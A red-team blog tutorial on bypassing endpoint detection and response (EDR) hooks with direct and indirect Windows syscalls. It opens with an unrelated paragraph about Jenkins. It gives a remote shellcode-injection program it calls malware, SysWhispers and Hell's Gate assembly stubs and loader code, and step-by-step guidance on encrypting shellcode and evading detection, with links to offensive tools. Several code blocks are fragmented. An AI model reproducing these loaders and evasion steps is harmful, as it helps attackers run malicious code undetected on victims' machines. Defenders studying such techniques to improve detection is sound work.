EDR Evasion Techniques Using Syscalls

In the age of DevOps and rapid software development cycles, Jenkins has emerged as a beacon of automation, aiding organizations in efficiently building, deploying, and automating their projects. Yet, as with any popular software, its wide adoption has also made Jenkins a prime target for Advanced Persistent Threat (APT) actors. Safeguarding this CI/CD linchpin necessitates an intricate understanding of its vulnerabilities and potential attack surfaces
EDR Evasion Techniques using Syscalls

Read In This Article

EDR evasion is a set of techniques that attackers use to bypass endpoint detection and response (EDR) solutions. EDR solutions are designed to monitor endpoints for malicious activity and to respond to incidents when they occur. However, attackers are constantly developing new techniques to evade EDR solutions.

What are Windows Syscalls

syscalls are Windows internals components that provide a way for Windows programmers to interact or develop programs related to the Windows system. These programs can be used in ways such as accessing specific services, reading or writing to a file, creating a new process in userland, or allocating memory to programs, using cryptographic functions in your programs.

But syscalls are intermediatory when someone uses the Windows API using win32. These syscalls are also called native API for windows. The majority of syscalls are not officially documented by Microsoft, Thus we rely on other third-party documentation. Generally All syscalls return NTSTATUS value indicate its success or error, but It is important to note that while some NtAPIs return NTSTATUS, they are not necessarily syscalls.

eg: NtAllocateVirtualMemory is a syscall that actually runs under the hood when we access functions like VirtualAlloc or VirtualAllocEx From winapi. Here ntdll.dll File from Windows plays an important role, how? most of the native syscalls, which are called are from the ntdll.dll file.

These syscalls have more advantages over standard Winapi functions. These syscall functions from ntdll.dll provide more customizability over the parameter passed and arguments that those functions will be accepting, Thus providing a way for evading host-based security solutions.

eg: NTAllocateVirtualMemory vs VirtualAlloc in terms of arguments.

LPVOID VirtualAlloc(

[in, optional] LPVOID lpAddress,

[in]                  SIZE_T dwSize,

[in]                  DWORD  flAllocationType,

[in]                  DWORD  flProtect


__kernel_entry NTSYSCALLAPI NTSTATUS NtAllocateVirtualMemory(

[in, out] PVOID*BaseAddress,
[in, out] PSIZE_TRegionSize,


NtAllocateVirtualMemory allows you to set custom memory protection flags using the AllocationType and Protect parameters. This enables you to have more control over the protection of the allocated memory.

System Service Number (SSN)

Every Syscalls has special unique number given to it called SSN , this SSN number is used by kernel to distinguish syscalls from other syscall . For example,

the NtAllocateVirtualMemory syscall will have an SSN of 24

whereas NtProtectVirtualMemory will have an SSN of 80, these numbers are what the kernel uses to differentiate NtAllocateVirtualMemory from NtProtectVirtualMemory .

How EDR works / How Userland Hooking implemented by EDR?

EDR usually detects the malicious call from the program using Hooking Technique :

Userland Hooking

Kernel Mode Hooking

When we (red teamer’s) tires to execute any functions using high level WinAPI , function from ntdll.dll are indirectly triggered , The EDR applies hooks over them to detect for malicious calls.

For eg: By hooking the NtProtectVirtualMemory syscall, the security solution can detect higher-level WinAPI calls such as VirtualProtect , even when it is hidden from the import address table (IAT) of the binary.

We can use ntdll functions directly by resolving their addresses from ntdll.dll but they are still hooked by EDR solutions , the way they work is that they use an instruction called syscall(64bit)/sysenter(32bit) to invoke the ntapi function and enter the kernel mode to execute that function, and EDR places its hook right before that instruction. Thus Interupting the execution flow. To overcome this problem malware developer/ Red Teamers uses SSN (system service number) and do not relies on ntdll.dll to resolve the address of the functions. to execute the functions thus potentially bypassing the hooks set up by EDR.

EDR solutions can search any region of the memory that have execution permision for the malicious Signature. This userland hooks are placed just before the calling of syscalls instruction which is last step in exection in usermode.

Modern EDR places its hook in post-execution after the flow is transferred to the kernel . although windows other security features prevents the patching of kernel leverl memory and makes it difficult to place hook inside that. Placing kernel mode hooks may also result in stability issue and cause unexpected behavior, which is why its rarly implement usually in modern EDRs.

Implementing mini EDR.dll for hooking syscalls

This will be our mini EDR code that will be used to place hooked on NtAllocateVirtualMemory . we will generate DLL file form this

#include <windows.h>

#include <iostream>

#include "detours.h"

#pragma warning(disable : 4530)


//cl.exe /nologo /W0 edr.cpp /MT /link /DLL detours\lib.X64\detours.lib /OUT:edr.dll

using pNtAllocateVirtualMemory = NTSTATUS(NTAPI*)(

IN HANDLE                  ProcessHandle,

IN OUT PVOID* BaseAddress,

IN ULONG_PTR            ZeroBits,

IN OUT PSIZE_T        RegionSize,

IN ULONG                    AllocationType,

IN ULONG                    Protect


pNtAllocateVirtualMemory myNtAllocateVirtualMemory = NULL;

NTSTATUS NTAPI HookedNtAllocateVirtualMemory(

IN HANDLE                  ProcessHandle,

IN OUT PVOID* BaseAddress,

IN ULONG_PTR            ZeroBits,

IN OUT PSIZE_T        RegionSize,

IN ULONG                    AllocationType,

IN ULONG                    Protect


NTSTATUS status = myNtAllocateVirtualMemory(ProcessHandle, BaseAddress,ZeroBits,RegionSize,AllocationType,Protect);

if(!ProcessHandle) return status;

std::cout << "[EDR] detected NtAllocateVirtualMemory usage on PID " << GetProcessId(ProcessHandle) << std::endl;

return status;


BOOL Hook(void) {

LONG err;

myNtAllocateVirtualMemory           =




DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourAttach(&(PVOID&)myNtAllocateVirtualMemory,


err = DetourTransactionCommit();

return TRUE;


BOOL UnHook(void) {

LONG err;

DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourDetach(&(PVOID&)myNtAllocateVirtualMemory,


err = DetourTransactionCommit();

return TRUE;



DWORD  ul_reason_for_call,

LPVOID lpReserved



if (DetourIsHelperProcess()) {

return TRUE;


switch (ul_reason_for_call)




std::cout << "[EDR] Hook installed." << std::endl; break;







std::cout << "[EDR] Hook uninstalled." << std::endl; break;


return TRUE;


we can compile it using :

cl.exe /nologo /W0 edr.cpp /MT /link /DLL detours\lib.X64\detours.lib /OUT:edr.dll

Now we have to create a malware program that will inject our shell code to remote process , but that malware program should also take this edr.dll file , which in real would be implemented by EDR solutions for hooking , here we will do it manually. for this malware we will use dynamic loading of native api ,means we will be using ntdll.dll functions by resolving its addresses on runtime and concept of remote process injection for injecting the shellcode in remote process’s memory.

Using Ntdll functions directly from ntdll.dll file by resolving addresses on Runtime for Remote Process Injection

#include <Windows.h>

#include <iostream>

#include <winternl.h>

using pNtOpenProcess = NTSTATUS(NTAPI*)(

IN PHANDLE                    ProcessHandle,

IN ACCESS_MASK            DesiredAccess,

IN OPTIONAL CLIENT_ID*ClientId );   using pNtAllocateVirtualMemory = NTSTATUS(NTAPI*)(IN HANDLEProcessHandle,// Process handle in where toallocate memory   IN OUT PVOID* BaseAddress,// The returned allocated memory's baseaddress   IN ULONG_PTRZeroBits, // Always set to '0'IN OUT PSIZE_TRegionSize,// Size of memory to allocateIN ULONGAllocationType,// MEM_COMMIT | MEM_RESERVEIN ULONGProtect // Page protection);   using pNtWriteVirtualMemory = NTSTATUS(NTAPI*)(IN HANDLEProcessHandle, IN PVOIDBaseAddress, IN PVOIDBuffer, IN SIZE_TNumberOfBytesToWrite,OUT PSIZE_TNumberOfBytesWritten);   

using pNtProtectVirtualMemory = NTSTATUS (NTAPI*)(

IN HANDLE                           ProcessHandle,                         // Process handle whose

memory protection is to be changed

IN OUT PVOID* BaseAddress,                           // Pointer to the base address to


IN OUT PSIZE_T                  NumberOfBytesToProtect,       // Pointer to size of

region to protect

IN ULONG                             NewAccessProtection,             // New memory

protection to be set

OUT PULONG                        OldAccessProtection               // Pointer to a

variable that receives the previous access protection );

using pNtCreateThreadEx = NTSTATUS(NTAPI*)( OUT PHANDLE hThread,

IN ACCESS_MASK DesiredAccess,

IN PVOID ObjectAttributes,

IN HANDLE ProcessHandle,

IN PVOID lpStartAddress,

IN PVOID lpParameter,


IN SIZE_T StackZeroBits,

IN SIZE_T SizeOfStackCommit,

IN SIZE_T SizeOfStackReserve,

OUT PVOID lpBytesBuffer


int main(int argc, char** argv)


std::cout << "inject edr.dll to PID '" << GetProcessId(GetCurrentProcess())

<< "' and then press any key to continue!" << std::endl; getchar();

//  shellcode to spawn a cmd.exe prompt

unsigned char buf[] =





















SIZE_T bufSize = sizeof(buf);

SIZE_T bufSize2 = bufSize; //ntallocatevirtualmemory rounds up size to 4k

DWORD pid;

HANDLE hProcess, hThread;



PVOID pAllocatedMemory = NULL;

NTSTATUS status = 0x0;

ULONG                          flProtect = NULL;

SIZE_T sNumberOfBytesWritten = 0;

pNtOpenProcess myNtOpenProcess =

(pNtOpenProcess)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtOpenProcess");

pNtAllocateVirtualMemory myNtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");

pNtWriteVirtualMemory myNtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtWriteVirtualMemory");

pNtProtectVirtualMemory myNtProtectVirtualMemory = (pNtProtectVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtProtectVirtualMemory");

pNtCreateThreadEx myNtCreateThreadEx =



pid = atoi(argv[1]);

InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL);

ci.UniqueProcess = (PVOID)pid;

ci.UniqueThread = 0;

if (!NT_SUCCESS(status=myNtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &oa, &ci))) {

std::cout << "Could not open process: " << status; exit(1);


status = myNtAllocateVirtualMemory(hProcess, &pAllocatedMemory, 0, &bufSize2, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

if (pAllocatedMemory == NULL) {

std::cout << "could not allocate memory: " << status; exit(1);


myNtWriteVirtualMemory(hProcess, pAllocatedMemory, buf, bufSize, &sNumberOfBytesWritten);

if (sNumberOfBytesWritten != bufSize) {

std::cout << bufSize<< std::endl;

std::cout << "could not write to allocated memory: " << sNumberOfBytesWritten;


status = myNtProtectVirtualMemory(hProcess, &pAllocatedMemory, &bufSize, PAGE_EXECUTE_READ, &flProtect);

if (!NT_SUCCESS(status=myNtCreateThreadEx(&hThread, 0x1FFFFF, NULL, hProcess, (LPTHREAD_START_ROUTINE)pAllocatedMemory, NULL, FALSE, NULL, NULL, NULL, NULL))) {

std::cout << "could not create remote thread: " << status; exit(1);


std::cout << "successfully injected to " << pid << " at virtual memory " << pAllocatedMemory << std::endl;



high level breakdown of the code :

In above code we are using Windows Native api to resolve the address of the functions in ntdll.dll files to run the program .

The program above waits for user to attach EDR.dll file which will apply userland hooks over the program .

The programs then allocate virtual memory in the remote process using NtOpenProcess and NtAllocateVirtualMemory

Program now supplies our shellcode to allocated region of remote process and give nessarry permission to execute it using NtProtectVirtualMemory

Then program run the shellcode using NtCreateThreadEx in context of remote process.

POC on How Userland Hooks in EDRs Detect syscalls

First we have compile our main malware program , which uses the concept of Remote Process Inject , where we have to specify the <\PID> of remote process as an argument to our malware program.

Afte we compile our malware program from the above code , we can the program as malware.exe <pid> , here PID can be any PID for remote process injection , for the

demonstration purpose will will use notpad.exe pid . open the notepad in background and gets its pid.

After Running the Program with that PID , it will ask for dll to inject into the process which is actually running the malware ( here EDR_EVASION.exe )

we have to use our edr.dll file which we generate earlier , that will applies hook over usage of NtAllocateVirtualMemory

detected NTAllocateVirtualMemory

after sucessfully hooking our program with apropiated dll file , we will ge reponse in prompt

Now if try to run the program (press enter again) , it will gets detected by EDR.dll file , stating

Although , here we allowed remote process injection , and then unhook the dll file, but the full fldge EDR will going to stop the execution flow and never let the shellcode run !!

EDR Evasion / Evasing of EDR Hooking

There are several Techniques that we can use to Bypass EDR detection hooking , but before moving to hurestic detection bypasses , we first have to bypass static signature dection on EDR :

Static Detection Bypasses :

Encrypting Shellcode

Encoding Shellcode

The first step always comes in evasion is using great shellcode, that are not flagged by AV/EDR . the shellcode generate by various C2 are heavily flagged eg (msfvenom,sliver,convenent,mythic) , though they provide there default encryption/encoding mechanism , but thier signature are heavily flagged. so we have used our custom encryption and encoding on shellcode. While there are several tools out there , we can use https://github.com/arimaqz/strfile-encryptor . which helps in XOR Encoding and AES Encryption on shellcode ( shellcode it must be in a file in raw format)

Converting .NET assemblies to raw .bin code . Donut is a shellcode generation tool that creates x86 or x64 shellcode payloads from .NET Assemblies (eg: mimikatz.exe, covenent agents) . This shellcode may be used to inject the Assembly into arbitrary Windows processes. Given an arbitrary .NET Assembly, parameters, and an entry point (such as Program.Main), it produces position-independent shellcode that loads it from memory. The .NET Assembly can either be staged from a URL or stageless by being embedded directly in the shellcode. Either way, the .NET Assembly is encrypted with the Chaskey block cipher and a 128-bit randomly generated key. After the Assembly is loaded through the CLR, the original reference is erased from memory to deter memory scanners. The Assembly is loaded into a new Application Domain to allow for running Assemblies in disposable AppDomains.

Dynamic Detection / EDR Hooking Bypass

Direct system calls


hell’s gate

hallo’s gate

tartarus gate

Indirect system calls

perun’s fart


Direct Syscalls

The use of Direct Syscalls allows an attacker to execute shellcode on windows operating system in such a way that the system calls is not dependent on ntdll.dll , instead this system call is passed as a stub inside PE’s(malware portable executalbe) resource section like .rsc or .txt section in form of the assembly instructions . Syscalls hooking by EDR can be Evaded by obtaining the syscall function coded in the assembly language and calling that crafted syscall directly from within the assembly file.

The point here is SSN (sysetm service number) is varies from system to system. To overcome this problem, the SSN can be either hard-coded in the assembly file or calculated dynamically during runtime.Tools suchs as syswhispers , HellsGate, HallosGate, Tartarus gate can be ustilized in this techniques .Here is A sample crafted syscall in an assembly file ( .asm ) :

NtAllocateVirtualMemory PROC

mov r10, rcx

mov eax, (ssn of NtAllocateVirtualMemory)



NtAllocateVirtualMemory ENDP

NtProtectVirtualMemory PROC

mov r10, rcx

mov eax, (ssn of NtProtectVirtualMemory)



NtProtectVirtualMemory ENDP

// other syscalls …

Indirect Syscalls

The indirect syscalls are implemented in same way direct syscalls are implemented where assembly files are first manually crafted , the difference lies is that in indirect syscalls , syscalls are not used directly , instead we use jmp instruction in its assemby file to jump the function of ntddl.dll . Thus code will ultimatly will be running in address space of ntdll.dll , Thus it wont be flagged sucpicious for EDR.

The assembly functions for NtAllocateVirtualMemory and NtProtectVirtualMemory are :

NtAllocateVirtualMemory PROC

mov r10, rcx

mov eax, (ssn of NtAllocateVirtualMemory) jmp (address of a syscall instruction) ret

NtAllocateVirtualMemory ENDP

NtProtectVirtualMemory PROC

mov r10, rcx

mov eax, (ssn of NtProtectVirtualMemory)

jmp (address of a syscall instruction)


NtProtectVirtualMemory ENDP

// other syscalls ...

so, in indirect syscalls we want to dynamically extract not only the SSN (service security number) , but also the memory address of the syscall instruction from ntdll.dll .


SysWhispers is a toolkit developed for Windows operating systems that facilitates direct syscall invocation. By directly making syscalls, developers can bypass standard API calls, which can be useful for various purposes, including low-level system manipulation and rootkit development. SysWhisper comes in three versions, each with its own set of features and capabilities.

“Why call the kernel when you can whisper?”


The first version of SysWhispers laid the foundation for direct syscall invocation on Windows systems. It provided a basic understanding of how to make syscalls directly, bypassing the traditional API calls. The SSNs are retrieved from Windows System Syscall Table and hardcoded in the asm files generated by SysWhispers1:


NtAllocateVirtualMemory PROC

    mov rax, gs:[60h]                         ; Load PEB into RAX.

NtAllocateVirtualMemory_Check_X_X_XXXX:           ; Check major version.

    cmp dword ptr [rax+118h], 5

    je  NtAllocateVirtualMemory_SystemCall_5_X_XXXX

    cmp dword ptr [rax+118h], 6

    je  NtAllocateVirtualMemory_Check_6_X_XXXX

    cmp dword ptr [rax+118h], 10

    je  NtAllocateVirtualMemory_Check_10_0_XXXX

    jmp NtAllocateVirtualMemory_SystemCall_Unknown

NtAllocateVirtualMemory_Check_6_X_XXXX:           ; Check minor version for Windows Vista/7/8.

    cmp dword ptr [rax+11ch], 0

    je  NtAllocateVirtualMemory_Check_6_0_XXXX

    cmp dword ptr [rax+11ch], 1

    je  NtAllocateVirtualMemory_Check_6_1_XXXX

    cmp dword ptr [rax+11ch], 2

    je  NtAllocateVirtualMemory_SystemCall_6_2_XXXX

    cmp dword ptr [rax+11ch], 3

    je  NtAllocateVirtualMemory_SystemCall_6_3_XXXX

    jmp NtAllocateVirtualMemory_SystemCall_Unknown

NtAllocateVirtualMemory_Check_6_0_XXXX:           ; Check build number for Windows Vista.

    cmp word ptr [rax+120h], 6000

    je  NtAllocateVirtualMemory_SystemCall_6_0_6000

    cmp word ptr [rax+120h], 6001

    je  NtAllocateVirtualMemory_SystemCall_6_0_6001

    cmp word ptr [rax+120h], 6002

    je  NtAllocateVirtualMemory_SystemCall_6_0_6002

    jmp NtAllocateVirtualMemory_SystemCall_Unknown

NtAllocateVirtualMemory_Check_6_1_XXXX:           ; Check build number for Windows 7.

    cmp word ptr [rax+120h], 7600

    je  NtAllocateVirtualMemory_SystemCall_6_1_7600

    cmp word ptr [rax+120h], 7601

    je  NtAllocateVirtualMemory_SystemCall_6_1_7601

    jmp NtAllocateVirtualMemory_SystemCall_Unknown

NtAllocateVirtualMemory_Check_10_0_XXXX:          ; Check build number for Windows 10.

    cmp word ptr [rax+120h], 10240

    je  NtAllocateVirtualMemory_SystemCall_10_0_10240

    cmp word ptr [rax+120h], 10586

    je  NtAllocateVirtualMemory_SystemCall_10_0_10586

    cmp word ptr [rax+120h], 14393

    je  NtAllocateVirtualMemory_SystemCall_10_0_14393

    cmp word ptr [rax+120h], 15063

    je  NtAllocateVirtualMemory_SystemCall_10_0_15063

    cmp word ptr [rax+120h], 16299

    je  NtAllocateVirtualMemory_SystemCall_10_0_16299

    cmp word ptr [rax+120h], 17134

    je  NtAllocateVirtualMemory_SystemCall_10_0_17134

    cmp word ptr [rax+120h], 17763

    je  NtAllocateVirtualMemory_SystemCall_10_0_17763

    cmp word ptr [rax+120h], 18362

    je  NtAllocateVirtualMemory_SystemCall_10_0_18362

    cmp word ptr [rax+120h], 18363

    je  NtAllocateVirtualMemory_SystemCall_10_0_18363

    cmp word ptr [rax+120h], 19041

    je  NtAllocateVirtualMemory_SystemCall_10_0_19041

    cmp word ptr [rax+120h], 19042

    je  NtAllocateVirtualMemory_SystemCall_10_0_19042

    cmp word ptr [rax+120h], 19043

    je  NtAllocateVirtualMemory_SystemCall_10_0_19043

    jmp NtAllocateVirtualMemory_SystemCall_Unknown

NtAllocateVirtualMemory_SystemCall_5_X_XXXX:      ; Windows XP and Server 2003

    mov eax, 0015h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_6_0_6000:      ; Windows Vista SP0

    mov eax, 0015h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_6_0_6001:      ; Windows Vista SP1 and Server 2008 SP0

    mov eax, 0015h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_6_0_6002:      ; Windows Vista SP2 and Server 2008 SP2

    mov eax, 0015h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_6_1_7600:      ; Windows 7 SP0

    mov eax, 0015h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_6_1_7601:      ; Windows 7 SP1 and Server 2008 R2 SP0

    mov eax, 0015h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_6_2_XXXX:      ; Windows 8 and Server 2012

    mov eax, 0016h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_6_3_XXXX:      ; Windows 8.1 and Server 2012 R2

    mov eax, 0017h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_10_0_10240:    ; Windows 10.0.10240 (1507)

    mov eax, 0018h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_10_0_10586:    ; Windows 10.0.10586 (1511)

    mov eax, 0018h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_10_0_14393:    ; Windows 10.0.14393 (1607)

    mov eax, 0018h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_10_0_15063:    ; Windows 10.0.15063 (1703)

    mov eax, 0018h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_10_0_16299:    ; Windows 10.0.16299 (1709)

    mov eax, 0018h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_10_0_17134:    ; Windows 10.0.17134 (1803)

    mov eax, 0018h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_10_0_17763:    ; Windows 10.0.17763 (1809)

    mov eax, 0018h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_10_0_18362:    ; Windows 10.0.18362 (1903)

    mov eax, 0018h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_10_0_18363:    ; Windows 10.0.18363 (1909)

    mov eax, 0018h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_10_0_19041:    ; Windows 10.0.19041 (2004)

    mov eax, 0018h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_10_0_19042:    ; Windows 10.0.19042 (20H2)

    mov eax, 0018h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_10_0_19043:    ; Windows 10.0.19043 (21H1)

    mov eax, 0018h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_Unknown:       ; Unknown/unsupported version.



    mov r10, rcx



NtAllocateVirtualMemory ENDP


As you can see, SSN values for every supported Windows version are hardcoded in the asm file.


 The second version improved upon the original by introducing dynamic syscall resolution. This means that it could automatically identify and invoke syscalls on various Windows versions, providing a more versatile and user-friendly experience:


currentHash DWORD 0


EXTERN SW2_GetSyscallNumber: PROC

WhisperMain PROC

pop rax

mov [rsp+ 8], rcx          ; Save registers.

mov [rsp+16], rdx

mov [rsp+24], r8

mov [rsp+32], r9

sub rsp, 28h

mov ecx, currentHash

call SW2_GetSyscallNumber

add rsp, 28h

mov rcx, [rsp+ 8]          ; Restore registers.

mov rdx, [rsp+16]

mov r8, [rsp+24]

mov r9, [rsp+32]

mov r10, rcx

syscall                    ; Issue syscall


WhisperMain ENDP

NtAllocateVirtualMemory PROC

mov currentHash, 0208A1E3Eh ; Load function hash into global variable.

call WhisperMain           ; Resolve function hash into syscall number and make the call

NtAllocateVirtualMemory ENDP


Resulting in fewer lines and no hardcoded SSN values, Syswhispers2 is able to dynamically find the SSN values. SysWhispers2 uses sorting by system call address method to find the SSN. This is done by finding all syscalls starting with Zw and saving their address in an array in ascending order. The SSN will become the index of the system call stored in the array.


SysWhispers3 is introduced in a blog titled as “Syswhispers is dead, Long live Syswhispers”.

Unlike its predecessors, SysWhispers3 makes indirect syscalls where it searches for syscall instruction ntdll address space and jumps to that instruction instead of directly invoking it.

It also includes a jumper randomizer which searches for random functions’ syscall instruction and jumps to them. So in summary the instruction belongs to another function.


EXTERN SW3_GetSyscallNumber: PROC

NtAllocateVirtualMemory PROC

    mov [rsp +8], rcx      ; Save registers.

    mov [rsp+16], rdx

    mov [rsp+24], r8

    mov [rsp+32], r9

    sub rsp, 28h

    mov ecx, 03DB04B4Fh    ; Load function hash into ECX.

    call SW3_GetSyscallNumber          ; Resolve function hash into syscall number.

    add rsp, 28h

    mov rcx, [rsp+8]                  ; Restore registers.

    mov rdx, [rsp+16]

    mov r8, [rsp+24]

    mov r9, [rsp+32]

    mov r10, rcx

    syscall                ; Invoke system call.


NtAllocateVirtualMemory ENDP


This asm file calls SW3_GetSyscallAddress which is defined in a C file that SysWhispers3 generates:

EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash)


    // Ensure SW3_SyscallList is populated.

    if (!SW3_PopulateSyscallList()) return NULL;

    for (DWORD i = 0; i < SW3_SyscallList.Count; i++)


        if (FunctionHash == SW3_SyscallList.Entries[i].Hash)


            return SW3_SyscallList.Entries[i].SyscallAddress;



    return NULL;


It calls SW3_PopulateSyscallList function to populate the syscall list and then searches through it for the target function.

Syswhisper3 Example:

As an example we will be using syswhispers3 to invoke direct syscall on NtAllocateVirtualMemory as a PoC to see whether our edr.dll can hook it or not.

  1. Generate necessary files using syswhispers3:
generated files
  1. Copy the generated files to Visual Studio project root directory:
Enable MASM
  1. Enable MASM:
Import files in the project
  1. Import files in the project:
Set ASM item type to Microsoft Macro Assembler
  1. Set ASM item type to Microsoft Macro Assembler:
  1. Finally, execute:

As you can see edr.dll has indeed installed its hooks but cannot detect the use of NtAllocateVirtualMemory on PID 15148.

Hell’s gate

Hell’s gate is used to perform direct syscalls. It reads through ntdll and dynamically finds syscalls and executes them from the binary.

When using hell’s gate, we have to first declare a _VX_TABLE_ENTRY structure that contains data associated with a system call:

typedef struct _VX_TABLE_ENTRY {

PVOID pAddress;

DWORD64 dwHash;

WORD wSystemCall;


_VX_TABLE_ENTYR itself will be a member of a larger structure named _VX_TABLE:

typedef struct _VX_TABLE {

VX_TABLE_ENTRY NtAllocateVirtualMemory;

VX_TABLE_ENTRY NtProtectVirtualMemory;

VX_TABLE_ENTRY NtCreateThreadEx;

VX_TABLE_ENTRY NtWaitForSingleObject;


Then it retrieves a pointer to PEB and traverse the in-memory order module list to NTDLL and the invokes the GetVxTableEntry function used to populate _VX_TABLE strcutre using ntdll's EAT.


pVxTableEntry) {

PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory-


PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);

PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory-


for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {

PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);

PVOID pFunctionAddress = (PBYTE)pModuleBase +


if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {

pVxTableEntry->pAddress = pFunctionAddress;


if (*((PBYTE)pFunctionAddress + 3) == 0xb8) {

BYTE high = *((PBYTE)pFunctionAddress + 5);

BYTE low = *((PBYTE)pFunctionAddress + 4);

pVxTableEntry->wSystemCall = (high << 8) | low;





return TRUE;


It checks for the presence of mov r10, rcx and mov rcx, ssn and when found they can be used to execute a payload.

BOOL Payload(PVX_TABLE pVxTable) {

NTSTATUS status = 0x00000000;

char shellcode[] = "\x90\x90\x90\x90\xcc\xcc\xcc\xcc\xc3";

// Allocate memory for the shellcode

PVOID lpAddress = NULL;

SIZE_T sDataSize = sizeof(shellcode);


status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);

// Write Memory (i.e. RtlMoveMemory)

VxMoveMemory(lpAddress, shellcode, sizeof(shellcode));

// Change page permissions

ULONG ulOldProtect = NULL;


status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);

// Create thread



status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress,


// Wait for 1 seconds


Timeout.QuadPart = -10000000;


status = HellDescent(hHostThread, FALSE, &Timeout);

return TRUE;



We are going to use the default code that is in hell’s gate repository with just a few modifications.

  1. Clone the repository in Visual Studio: https://github.com/am0nsec/HellsGate
  2. Change  _VX_TABLE fields. You can place the functions you want to use in this structure, for simplicity’s sake, I’m leaving them to be the default ones:
hellsgame program
  1. Change the Payload function per your needs. I only added my own shellcode and a printf,  But you can change the functions and use something completely different:
djb2 function
  1. Change the main function. You should set each function’s hash value, in the default code, they were hardcoded and I only replaced the hardcoded ones with the djb2 function to dynamically calculate them and also a printf and a getchar before executing the Payload function:
  1. Execution:

As you can see, edr.dll could not detect the use of NtAllocateVirtualMemory.

Hell’s hall

Hell’s hall developed by the Maldev academy is a combination of hell’s gate and indirect syscalls. Unlinke hell’s gate which is used to invoke direct syscalls, Hell’s hall combines the hell’s gate  and tartarus gate’s techniques and invokes indirect syscalls.


The HellsGate technique is a method used for dynamic system call invocation. This technique is particularly useful in the realm of low-level programming, especially when one wants to bypass certain security mechanisms or avoid detection by security software. Let’s break down the provided code to understand its functionality and purpose.

1. hellsgate.asm:

This Assembly file defines two procedures: HellsGate and HellDescent.

HellsGate PROC:

This procedure seems to be setting up a system call number. It uses the nop instruction, which is a placeholder that does nothing, possibly for alignment or obfuscation purposes.

The system call number is moved into the wSystemCall variable from the ecx register.

HellDescent PROC:

This procedure prepares for the actual system call. The rax and r10 registers are set up, and then the system call number is moved into the eax register.

The syscall instruction is then executed, which invokes the system call.

2. hellsgate.c:

This C file contains the main logic and functions that utilize the HellsGate technique.

Data Structures:

The file defines several structures, most notably the VX_TABLE and VX_TABLE_ENTRY. These structures seem to be used for storing information about various system calls, including their addresses and hashes.


This function retrieves the Thread Environment Block (TEB) for the current thread. The TEB contains information about the thread’s state and its associated resources.


A hash function used to compute a hash value for a given string. This might be used to quickly identify system calls or other entities.

GetImageExportDirectory() and GetVxTableEntry():

These functions are used to retrieve the Export Address Table (EAT) of a module (like NTDLL) and to populate the VX_TABLE with the addresses of specific system calls.


This function seems to be the main payload that will be executed. It dynamically resolves system calls using the HellsGate technique and then performs various operations, such as memory allocation, writing to memory, changing memory permissions, and creating a new thread.


A custom implementation of the memory move operation. It ensures that the memory regions being copied do not overlap.


; Hell's Gate

; Dynamic system call invocation 


; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)


wSystemCall DWORD 000h


HellsGate PROC


mov wSystemCall, 000h


mov wSystemCall, ecx



HellsGate ENDP

HellDescent PROC


mov rax, rcx


mov r10, rax


mov eax, wSystemCall




HellDescent ENDP



INT wmain() {

//int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {

PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();

PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;

if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)

return 0x1;

// Get NTDLL module 

